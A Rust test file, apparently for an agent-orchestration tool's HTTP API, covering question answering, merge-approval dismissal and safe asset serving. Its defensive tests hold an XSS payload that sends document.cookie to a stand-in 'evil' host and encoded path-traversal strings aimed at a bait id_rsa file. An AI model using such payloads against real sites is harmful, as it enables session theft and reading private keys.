10371 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
10372 let fx = Fixture::start().await;
10373 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
10374 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
10375 let id = panel(
10376 &fx,
10377 "<img src=\"diff.svg\"><img src=\"shot.png\">",
10378 &[("diff.svg", svg), ("shot.png", png)],
10379 );
10380
10381 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
10382 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
10383
10384 assert_eq!(as_svg.status, 200);
10385 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
10386 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
10391
10392 assert_eq!(as_png.status, 200);
10393 assert_eq!(as_png.header("content-type"), Some("image/png"));
10394 assert_eq!(
10395 as_png.header("content-disposition"),
10396 None,
10397 "a raster image has no execution surface, so tapping it still shows it"
10398 );
10399 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
10400 }
10401
10402 #[tokio::test]
10403 async fn an_html_asset_is_never_served_as_html() {
10404 let fx = Fixture::start().await;
10405 let id = panel(
10406 &fx,
10407 "<p>see the notes</p>",
10408 &[
10409 (
10410 "notes.html",
10411 b"<script>fetch('http://evil/'+document.cookie)</script>",
10412 ),
10413 ("hook.js", b"fetch('http://evil/')"),
10414 ("data.json", b"{}"),
10415 ("HEADLINE.TXT", b"plain"),
10416 ],
10417 );
10418
10419 for name in ["notes.html", "hook.js", "data.json"] {
10420 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
10421 assert_eq!(res.status, 200, "{name}: {}", res.body);
10422 assert_eq!(
10427 res.header("content-type"),
10428 Some("application/octet-stream"),
10429 "{name} must not be a type the browser will execute or render"
10430 );
10431 }
10432 let txt = fx
10435 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
10436 .await;
10437 assert_eq!(
10438 txt.header("content-type"),
10439 Some("text/plain; charset=utf-8")
10440 );
10441 }
10442
10443 #[tokio::test]
10444 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
10445 let fx = Fixture::start().await;
10446 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10447 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
10451
10452 for encoded in [
10459 "%2e%2e%2fid_rsa",
10460 "..%2fid_rsa",
10461 "..%5cid_rsa",
10462 "%2e%2e%5cid_rsa",
10463 "diff%00.svg",
10464 "..",
10465 ".hidden",
10466 "%2e%2e%2f%2e%2e%2fid_rsa",
10467 ] {
10468 let res = fx
10469 .get(&format!("/api/questions/{id}/asset/{encoded}"))
10470 .await;
10471 assert_eq!(
10472 res.status, 400,
10473 "`{encoded}` has to be refused by name, not looked up: {}",
10474 res.body
10475 );
10476 assert!(res.json()["error"].is_string(), "{}", res.body);
10477 }
10478
10479 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
10485 let res = fx
10486 .get(&format!("/api/questions/{id}/asset/{literal}"))
10487 .await;
10488 assert_eq!(
10489 res.status, 404,
10490 "`{literal}` must not match the asset route at all: {}",
10491 res.body
10492 );
10493 }
10494 }
10495
10496 #[tokio::test]
10497 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
10498 let fx = Fixture::start().await;
10499 let plain = ask(&fx, "Which backend?", &["SQLite"]);
10500 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10501
10502 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
10506 assert_eq!(none.status, 404, "{}", none.body);
10507 assert!(none.json()["error"].is_string(), "{}", none.body);
10508 assert_eq!(
10509 fx.head(&format!("/api/questions/{plain}/panel"))
10510 .await
10511 .status,
10512 404,
10513 "the preflight is the only way the client can learn this"
10514 );
10515
10516 let missing = fx
10518 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10519 .await;
10520 assert_eq!(missing.status, 404, "{}", missing.body);
10521 assert!(missing.json()["error"].is_string(), "{}", missing.body);
10522
10523 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10525 assert_eq!(
10526 fx.get("/api/questions/nope/asset/diff.svg").await.status,
10527 404
10528 );
10529 }
10530
10531 #[tokio::test]
10532 async fn a_run_with_an_open_question_reads_as_waiting() {
10533 let fx = Fixture::start().await;
10534 let run = "20260902-000000-beef".to_owned();
10535 write_run(&fx.runs(), &run, RunStatus::Implementing);
10536
10537 let before = fx.get("/api/runs").await.json();
10538 assert_eq!(before[0]["waiting"], false, "{before}");
10539
10540 let store = fx.questions();
10541 let mut q = Question::new(
10542 run.clone(),
10543 "implement".to_owned(),
10544 "impl-A".to_owned(),
10545 "Which backend?".to_owned(),
10546 String::new(),
10547 vec!["SQLite".to_owned()],
10548 );
10549 store.put(&mut q).expect("put");
10550
10551 let during = fx.get("/api/runs").await.json();
10552 assert_eq!(during[0]["waiting"], true, "{during}");
10553
10554 q.answer(Answer::Choice("SQLite".to_owned()))
10557 .expect("answer");
10558 store.put(&mut q).expect("put");
10559 let after = fx.get("/api/runs").await.json();
10560 assert_eq!(after[0]["waiting"], false, "{after}");
10561 }
10562
10563 #[tokio::test]
10564 async fn an_open_question_is_listed_and_counted_by_health() {
10565 let fx = Fixture::start().await;
10566 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10567
10568 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10569 let listed = fx.get("/api/questions").await.json();
10570 assert_eq!(listed.as_array().expect("array").len(), 1);
10571 assert_eq!(listed[0]["id"], id);
10572 assert_eq!(listed[0]["status"], "open");
10573 assert_eq!(listed[0]["choices"][1], "Redis");
10574 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10577 }
10578
10579 fn obsolete_approval_state() -> RunState {
10580 let mut state = crate::land::tests::repair_state(true, true);
10581 state.pr = Some(crate::run::PrRecord {
10582 url: "https://github.com/example/repo/pull/42".into(),
10583 number: 42,
10584 state: "open".into(),
10585 checks: "green".into(),
10586 round: 1,
10587 rounds: 4,
10588 red_at_merge: Vec::new(),
10589 });
10590 state
10591 }
10592
10593 #[tokio::test]
10594 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10595 for owner in ["missing", "current", "completed", "later"] {
10596 let fx = Fixture {
10597 home: TempDir::new().unwrap(),
10598 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10599 };
10600 let mut state = obsolete_approval_state();
10601 state.status = RunStatus::Landing;
10602 state.parked = true;
10603 state.driver_exited = true;
10604 let mut q = Question::new(
10605 state.id.clone(),
10606 crate::land::APPROVAL_NODE.into(),
10607 "land".into(),
10608 "Old approval".into(),
10609 "Original evidence".into(),
10610 vec!["merge".into(), "hold".into()],
10611 );
10612 state.land_approval = Some(crate::run::LandApproval {
10613 question: q.id.clone(),
10614 head: "head".into(),
10615 });
10616 state.save_under(fx.home.path()).unwrap();
10617 let stale = state.clone();
10618 fx.questions().put(&mut q).unwrap();
10619 let mut task = Task::new(
10620 "Owner".into(),
10621 "Original instruction".into(),
10622 state.repo.clone(),
10623 Source::Human,
10624 );
10625 task.runs.push(state.id.clone());
10626 task.status = if owner == "completed" {
10627 TaskStatus::Done
10628 } else {
10629 TaskStatus::Parked
10630 };
10631 if owner == "later" {
10632 task.runs.push("later-run".into());
10633 }
10634 if owner != "missing" {
10635 fx.queue().put(&mut task).unwrap();
10636 }
10637 let ui = Arc::new(Ui::new(
10638 fx.queue(),
10639 fx.questions(),
10640 fx.talks(),
10641 fx.runs(),
10642 fx.home.path().into(),
10643 state.repo.clone(),
10644 ));
10645 let response = question_answer(
10646 State(ui),
10647 Path(q.id.clone()),
10648 Ok(Json(NewAnswer {
10649 choice: Some(crate::merge_decision::DISMISS.into()),
10650 text: None,
10651 })),
10652 )
10653 .await
10654 .unwrap();
10655 assert_eq!(
10656 response.0.question.resolution().as_deref(),
10657 Some(crate::merge_decision::DISMISS)
10658 );
10659 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10660 assert_eq!(disk.status, RunStatus::Superseded);
10661 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10662 assert!(!crate::merge_decision::resumable_hold(&disk));
10663 assert_eq!(
10664 serde_json::to_value(&disk.pr).unwrap(),
10665 serde_json::to_value(&stale.pr).unwrap()
10666 );
10667 assert_eq!(fx.questions().count_open(), 0);
10668 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10669 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10670 if owner == "missing" {
10671 assert!(fx.queue().list().is_empty());
10672 } else {
10673 let after = fx.queue().get(&task.id).unwrap();
10674 assert_eq!(
10675 after.status,
10676 if owner == "current" {
10677 TaskStatus::Done
10678 } else {
10679 task.status
10680 }
10681 );
10682 assert_eq!(after.runs, task.runs);
10683 assert_eq!(after.instruction, task.instruction);
10684 assert_eq!(after.action_applied(&q.id), owner == "current");
10685 }
10686 }
10687 }
10688
10689 #[tokio::test]
10690 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10691 let fx = Fixture::start().await;
10692 let mut state = obsolete_approval_state();
10693 state.status = RunStatus::Landing;
10694 state.parked = true;
10695 state.driver_exited = true;
10696 let mut q = Question::new(
10697 state.id.clone(),
10698 crate::land::APPROVAL_NODE.into(),
10699 "land".into(),
10700 "Superseded PR approval".into(),
10701 "Original review evidence".into(),
10702 vec!["merge".into(), "hold".into()],
10703 );
10704 state.land_approval = Some(crate::run::LandApproval {
10705 question: q.id.clone(),
10706 head: "old-reviewed-head".into(),
10707 });
10708 state.save_under(fx.home.path()).unwrap();
10711 let stale_driver = state.clone();
10712 fx.questions().put(&mut q).unwrap();
10713 let path = fx
10714 .home
10715 .path()
10716 .join("questions")
10717 .join(format!("{}.json", q.id));
10718 let mut legacy = serde_json::to_value(&q).unwrap();
10719 legacy["schema"] = 9.into();
10720 legacy.as_object_mut().unwrap().remove("merge_target");
10721 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10722
10723 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10726 let answer_path = format!("/api/questions/{}/answer", q.id);
10727 let res = fx.post(&answer_path, Some(&body)).await;
10728 assert_eq!(res.status, 200, "{}", res.body);
10729 let disk = fx.questions().get(&q.id).unwrap();
10730 assert_eq!(
10731 disk.resolution().as_deref(),
10732 Some(crate::merge_decision::DISMISS)
10733 );
10734 assert!(disk.detail.starts_with("Original review evidence"));
10735 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
10736 assert_eq!(retired.status, RunStatus::Superseded);
10737 assert_eq!(
10738 serde_json::to_value(&retired.pr).unwrap(),
10739 serde_json::to_value(&state.pr).unwrap()
10740 );
10741 assert!(!retired.merge_decision.as_ref().unwrap().closed);
10742 assert!(!crate::merge_decision::resumable_hold(&retired));
10743 assert!(fx.queue().list().is_empty());
10744 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10745 let addr = Fixture::serve(
10747 fx.home.path(),
10748 PathBuf::from("/repo/magi"),
10749 launch_idle,
10750 None,
10751 )
10752 .await;
10753 let reconnected = Fixture {
10754 home: fx.home,
10755 addr,
10756 };
10757 let listed = reconnected.get("/api/questions").await.json();
10758 assert!(
10759 listed
10760 .as_array()
10761 .unwrap()
10762 .iter()
10763 .all(|q| q["status"] != "open")
10764 );
10765 assert_eq!(listed[0]["id"], q.id, "history remains available");
10766 assert_eq!(
10767 reconnected.get("/api/health").await.json()["questions_open"],
10768 0
10769 );
10770 assert_eq!(
10771 reconnected
10772 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10773 .await
10774 .status,
10775 409
10776 );
10777 assert!(
10779 reconnected
10780 .questions()
10781 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10782 .is_err()
10783 );
10784 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10787 }
10788
10789 #[tokio::test]
10790 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10791 let fx = Fixture::start().await;
10792 let mut state = obsolete_approval_state();
10793 state.status = RunStatus::Landing;
10794 state.driver_exited = true;
10795 let mut q = Question::new(
10796 state.id.clone(),
10797 crate::land::APPROVAL_NODE.into(),
10798 "land".into(),
10799 "Obsolete approval".into(),
10800 String::new(),
10801 vec!["merge".into(), "hold".into()],
10802 );
10803 state.land_approval = Some(crate::run::LandApproval {
10804 question: q.id.clone(),
10805 head: "head".into(),
10806 });
10807 state.save_under(fx.home.path()).unwrap();
10808 fx.questions().put(&mut q).unwrap();
10809 let mut task = Task::new(
10810 "Owner".into(),
10811 "Original instruction".into(),
10812 state.repo.clone(),
10813 Source::Human,
10814 );
10815 task.runs = vec![state.id.clone(), "later-run".into()];
10816 fx.queue().put(&mut task).unwrap();
10817 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10818 let claim = fx.queue().claim(&task.id).unwrap();
10819 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10820 let path = format!("/api/questions/{}/answer", q.id);
10821 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10822 assert!(fx.questions().get(&q.id).unwrap().status.open());
10823 drop(claim);
10824 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10825 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10826 assert!(fx.questions().get(&q.id).unwrap().status.open());
10827 drop(publication);
10828 state.driver_exited = false;
10830 state.driver_pid = None;
10831 state.save_under(fx.home.path()).unwrap();
10832 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10833 state.driver_exited = true;
10834 state.land_armed_head = Some("head".into());
10835 state.save_under(fx.home.path()).unwrap();
10836 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10837 state.land_armed_head = None;
10838 state.save_under(fx.home.path()).unwrap();
10839 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10840 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10841 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10842 }
10843
10844 #[tokio::test]
10845 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10846 let fx = Fixture::start().await;
10847 let mut state = obsolete_approval_state();
10848 state.status = RunStatus::Landing;
10849 state.driver_exited = true;
10850 let mut q = Question::new(
10851 state.id.clone(),
10852 crate::land::APPROVAL_NODE.into(),
10853 "land".into(),
10854 "Obsolete approval".into(),
10855 String::new(),
10856 vec!["merge".into(), "hold".into()],
10857 );
10858 state.land_approval = Some(crate::run::LandApproval {
10859 question: q.id.clone(),
10860 head: "head".into(),
10861 });
10862 state.save_under(fx.home.path()).unwrap();
10863 fx.questions().put(&mut q).unwrap();
10864 let mut task = Task::new(
10865 "Owner".into(),
10866 "Original instruction".into(),
10867 state.repo.clone(),
10868 Source::Human,
10869 );
10870 task.runs.push(state.id.clone());
10871 task.status = TaskStatus::Parked;
10872 fx.queue().put(&mut task).unwrap();
10873 state.merge_decision = Some(crate::merge_decision::Decision {
10876 question: q.id.clone(),
10877 target: crate::merge_decision::Target {
10878 pr: state.pr.as_ref().unwrap().url.clone(),
10879 head: "head".into(),
10880 language: "ja".into(),
10881 },
10882 choice: crate::merge_decision::DISMISS.into(),
10883 closed: false,
10884 replacement_run: None,
10885 replacement_pr: None,
10886 });
10887 state.status = RunStatus::Superseded;
10888 state.save_under(fx.home.path()).unwrap();
10889 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10890 let path = format!("/api/questions/{}/answer", q.id);
10891 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10892 let done = fx.queue().get(&task.id).unwrap();
10893 assert_eq!(done.status, TaskStatus::Done);
10894 assert_eq!(done.runs, task.runs);
10895 assert_eq!(done.instruction, task.instruction);
10896 assert!(done.action_applied(&q.id));
10897 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10898 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10899 assert!(!fx.questions().get(&q.id).unwrap().status.open());
10900 }
10901
10902 #[tokio::test]
10903 async fn merge_decision_api_persists_exact_target_and_selected_action() {
10904 let fx = Fixture {
10905 home: TempDir::new().unwrap(),
10906 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10907 };
10908 for choice in [
10909 crate::land::HOLD,
10910 crate::land::REPAIR,
10911 crate::land::APPROVE,
10912 crate::merge_decision::WITHDRAW,
10913 "reimplement:beta",
10914 ] {
10915 let mut q = Question::new(
10916 "old-run".into(),
10917 crate::land::APPROVAL_NODE.into(),
10918 "land".into(),
10919 "Decision".into(),
10920 "Review findings".into(),
10921 vec![
10922 "merge".into(),
10923 "hold".into(),
10924 crate::land::REPAIR.into(),
10925 crate::merge_decision::WITHDRAW.into(),
10926 "reimplement:beta".into(),
10927 ],
10928 );
10929 q.merge_target = Some(crate::merge_decision::Target {
10930 pr: "https://github.com/example/repo/pull/42".into(),
10931 head: "exact-reviewed-head".into(),
10932 language: "ja".into(),
10933 });
10934 q.consult = Some(ask::ChatConsult {
10935 talk: "another-conversation".into(),
10936 at: jiff::Timestamp::now(),
10937 });
10938 fx.questions().put(&mut q).unwrap();
10939 let ui = Arc::new(Ui::new(
10940 fx.queue(),
10941 fx.questions(),
10942 fx.talks(),
10943 fx.runs(),
10944 fx.home.path().into(),
10945 std::path::PathBuf::from("."),
10946 ));
10947 let response = question_answer(
10948 State(ui.clone()),
10949 Path(q.id.clone()),
10950 Ok(Json(NewAnswer {
10951 choice: Some(choice.into()),
10952 text: None,
10953 })),
10954 )
10955 .await
10956 .unwrap();
10957 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10958 let disk = fx.questions().get(&q.id).unwrap();
10959 assert_eq!(disk.merge_target, q.merge_target);
10960 assert_eq!(disk.consult, q.consult);
10961 assert!(
10962 disk.answer_authority.is_none(),
10963 "a direct owner card is its own decision"
10964 );
10965 assert_eq!(disk.resolution().as_deref(), Some(choice));
10966 assert!(
10967 question_answer(
10968 State(ui),
10969 Path(q.id.clone()),
10970 Ok(Json(NewAnswer {
10971 choice: Some("merge".into()),
10972 text: None
10973 }))
10974 )
10975 .await
10976 .is_err(),
10977 "an already settled decision cannot turn into merge approval"
10978 );
10979 }
10980 }
10981
10982 #[tokio::test]
10983 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10984 let fx = Fixture {
10985 home: TempDir::new().unwrap(),
10986 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10987 };
10988 let mut state = crate::land::tests::repair_state(true, true);
10989 state.status = RunStatus::Landing;
10990 state.parked = true;
10991 state.driver_exited = true;
10992 let mut task = Task::new(
10993 "Existing PR owner".into(),
10994 state.instruction.clone(),
10995 state.repo.clone(),
10996 Source::Human,
10997 );
10998 task.runs.push(state.id.clone());
10999 task.status = TaskStatus::Parked;
11000 fx.queue().put(&mut task).unwrap();
11001 let mut q = Question::new(
11002 state.id.clone(),
11003 crate::land::APPROVAL_NODE.into(),
11004 "land".into(),
11005 "Contested merge".into(),
11006 "Original evidence".into(),
11007 vec!["merge".into(), "hold".into()],
11008 );
11009 state.land_approval = Some(crate::run::LandApproval {
11010 question: q.id.clone(),
11011 head: "reviewed-head".into(),
11012 });
11013 state.save_under(fx.home.path()).unwrap();
11014 fx.questions().put(&mut q).unwrap();
11015 task.hold_manual(Some("Pause this PR".into()));
11017 fx.queue().put(&mut task).unwrap();
11018 let ui = Arc::new(Ui::new(
11021 fx.queue(),
11022 fx.questions(),
11023 fx.talks(),
11024 fx.runs(),
11025 fx.home.path().to_path_buf(),
11026 state.repo.clone(),
11027 ));
11028 let response = question_answer(
11029 State(ui),
11030 Path(q.id.clone()),
11031 Ok(Json(NewAnswer {
11032 choice: Some(crate::land::REPAIR.into()),
11033 text: None,
11034 })),
11035 )
11036 .await
11037 .unwrap();
11038 assert_eq!(response.0.question.id, q.id);
11039 let upgraded = fx.questions().get(&q.id).unwrap();
11040 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11041 assert!(upgraded.detail.starts_with("Original evidence"));
11042 let claim = fx.queue().claim(&task.id).unwrap();
11043 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11044 assert!(
11045 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11046 "an existing driver keeps its claim"
11047 );
11048 drop(claim);
11049 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11050 let resumed = fx.queue().get(&task.id).unwrap();
11051 assert_eq!(
11052 resumed
11053 .resume_override
11054 .as_ref()
11055 .unwrap()
11056 .pinned_run
11057 .as_deref(),
11058 Some(state.id.as_str())
11059 );
11060 assert!(resumed.status.runnable());
11061 assert_eq!(resumed.instruction, task.instruction);
11062 assert_eq!(resumed.runs, task.runs);
11063 assert!(resumed.action_applied(&q.id));
11064 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11065 assert_eq!(fx.queue().list().len(), 1);
11066 assert_eq!(
11067 fx.queue().get(&task.id).unwrap().resume_override,
11068 resumed.resume_override
11069 );
11070 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11071 assert!(
11072 disk.merge_repairs.is_empty(),
11073 "only the claimed run driver may execute repair"
11074 );
11075 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11076 }
11077
11078 #[tokio::test]
11079 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11080 let fx = Fixture::start().await;
11081 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11082 let path = format!("/api/questions/{id}/answer");
11083
11084 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11085 assert_eq!(res.status, 200, "{}", res.body);
11086 let body = res.json();
11087 assert_eq!(body["status"], "answered");
11088 assert_eq!(body["answer"]["choice"], "Redis");
11089
11090 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11094 assert_eq!(again.status, 409, "{}", again.body);
11095 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11096 }
11097
11098 #[tokio::test]
11099 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11100 let home = tempfile::tempdir().unwrap();
11101 let ui = delta_test_ui(home.path());
11102 let mut q = Question::new(
11103 "task".into(),
11104 crate::land::APPROVAL_NODE.into(),
11105 "land".into(),
11106 "Explain?".into(),
11107 String::new(),
11108 vec!["hold".into()],
11109 );
11110 q.deputy = Some(ask::Deputy::new("context".into()));
11111 ui.questions.put(&mut q).unwrap();
11112 let mut cfg = stub_config();
11113 cfg.daemon.max_deputies = 0;
11114 let mut status = crate::daemon::Status::new();
11115 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11116 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11117 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11118 let error = question_say(
11119 State(ui.clone()),
11120 Path(q.id.clone()),
11121 Ok(Json(NewSay {
11122 body: "Explain the findings".into(),
11123 })),
11124 )
11125 .await
11126 .unwrap_err();
11127 assert_eq!(
11128 error.text_reason,
11129 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11130 );
11131 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11132
11133 let mut text = Question::new(
11134 "task".into(),
11135 "ask".into(),
11136 "operator".into(),
11137 "Which name?".into(),
11138 String::new(),
11139 vec![],
11140 );
11141 ui.questions.put(&mut text).unwrap();
11142 let Json(view) = question_answer(
11143 State(ui.clone()),
11144 Path(text.id.clone()),
11145 Ok(Json(NewAnswer {
11146 choice: None,
11147 text: Some("chosen name".into()),
11148 })),
11149 )
11150 .await
11151 .unwrap();
11152 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11153 assert!(!ui.questions.get(&text.id).unwrap().status.open());
11154 }
11155
11156 #[tokio::test]
11157 async fn question_text_handler_admission_without_transport() {
11158 let home = tempfile::tempdir().unwrap();
11159 let ui = delta_test_ui(home.path());
11160 let mut q = Question::new(
11161 "task".into(),
11162 crate::land::APPROVAL_NODE.into(),
11163 "land".into(),
11164 "May this PR merge?".into(),
11165 String::new(),
11166 vec!["hold".into()],
11167 );
11168 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11169 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11170 ui.questions.put(&mut q).unwrap();
11171 let say = || {
11172 Ok(Json(NewSay {
11173 body: "Explain the findings".into(),
11174 }))
11175 };
11176 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11177 .await
11178 .unwrap_err();
11179 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11180 let response = rejected.into_response();
11181 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
11182 .await
11183 .unwrap();
11184 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
11185 assert_eq!(body["code"], "question_text_unavailable");
11186 assert_eq!(body["reason"], "deputy_exhausted");
11187 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
11188 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
11189 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
11190 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
11191 .await
11192 .unwrap();
11193 assert_eq!(view.text_delivery.state, "live");
11194 assert!(view.question.waiter.is_none());
11195 assert!(view.question.cwd.is_none());
11196 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11197 ui.questions.drop_lease(&q.id);
11198 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11199 .await
11200 .unwrap_err();
11201 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11202 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11203 let _ = question_answer(
11204 State(ui.clone()),
11205 Path(q.id.clone()),
11206 Ok(Json(NewAnswer {
11207 choice: Some("hold".into()),
11208 text: None,
11209 })),
11210 )
11211 .await
11212 .unwrap();
11213 assert_eq!(
11214 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11215 Some("hold")
11216 );
11217 }
11218
11219 #[tokio::test]
11220 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
11221 let fx = Fixture::start().await;
11222 let store = fx.questions();
11223 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
11224 store
11225 .update(&id, |q| {
11226 q.node = crate::land::APPROVAL_NODE.to_owned();
11227 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
11228 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11229 Ok(())
11230 })
11231 .unwrap();
11232 let path = format!("/api/questions/{id}/say");
11233 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
11234 assert_eq!(refused.status, 422, "{}", refused.body);
11235 assert!(
11236 refused.json()["error"]
11237 .as_str()
11238 .unwrap()
11239 .contains("deputy_exhausted")
11240 );
11241 assert!(store.get(&id).unwrap().thread.is_empty());
11242
11243 store.beat(&id, ask::WaiterKind::Deputy);
11245 let view = fx.get("/api/questions").await.json();
11246 assert_eq!(view[0]["text_delivery"]["state"], "live");
11247 let accepted = fx
11248 .post(&path, Some(r#"{"body":"explain the findings"}"#))
11249 .await;
11250 assert_eq!(accepted.status, 200, "{}", accepted.body);
11251 let before = std::fs::read(store.path_of(&id)).unwrap();
11252
11253 store.drop_lease(&id);
11256 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
11257 assert_eq!(refused.status, 422, "{}", refused.body);
11258 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11259 let held = fx
11260 .post(
11261 &format!("/api/questions/{id}/answer"),
11262 Some(r#"{"choice":"hold"}"#),
11263 )
11264 .await;
11265 assert_eq!(held.status, 200, "{}", held.body);
11266 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
11267 }
11268
11269 #[tokio::test]
11270 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
11271 let repo = tempfile::tempdir().unwrap();
11272 let mut cfg = stub_config();
11273 cfg.daemon.max_deputies = 0;
11274 std::fs::write(
11275 repo.path().join("magi.toml"),
11276 toml::to_string(&cfg).unwrap(),
11277 )
11278 .unwrap();
11279 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
11280 let mut status = crate::daemon::Status::new();
11281 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11282 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
11283 let id = ask(&fx, "Explain?", &["hold"]);
11284 fx.questions()
11285 .update(&id, |q| {
11286 q.node = crate::land::APPROVAL_NODE.into();
11287 q.deputy = Some(ask::Deputy::new("context".into()));
11288 q.deputy.as_mut().unwrap().agent = "stub".into();
11289 Ok(())
11290 })
11291 .unwrap();
11292 cfg.daemon.max_deputies = 1;
11293 std::fs::write(
11294 repo.path().join("magi.toml"),
11295 toml::to_string(&cfg).unwrap(),
11296 )
11297 .unwrap();
11298 let view = fx.get("/api/questions").await.json();
11299 assert_eq!(view[0]["deputies_enabled"], true);
11300 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
11301 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
11302 let res = fx
11303 .post(
11304 &format!("/api/questions/{id}/say"),
11305 Some(r#"{"body":"Please explain"}"#),
11306 )
11307 .await;
11308 assert_eq!(res.status, 422, "{}", res.body);
11309 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
11310 }
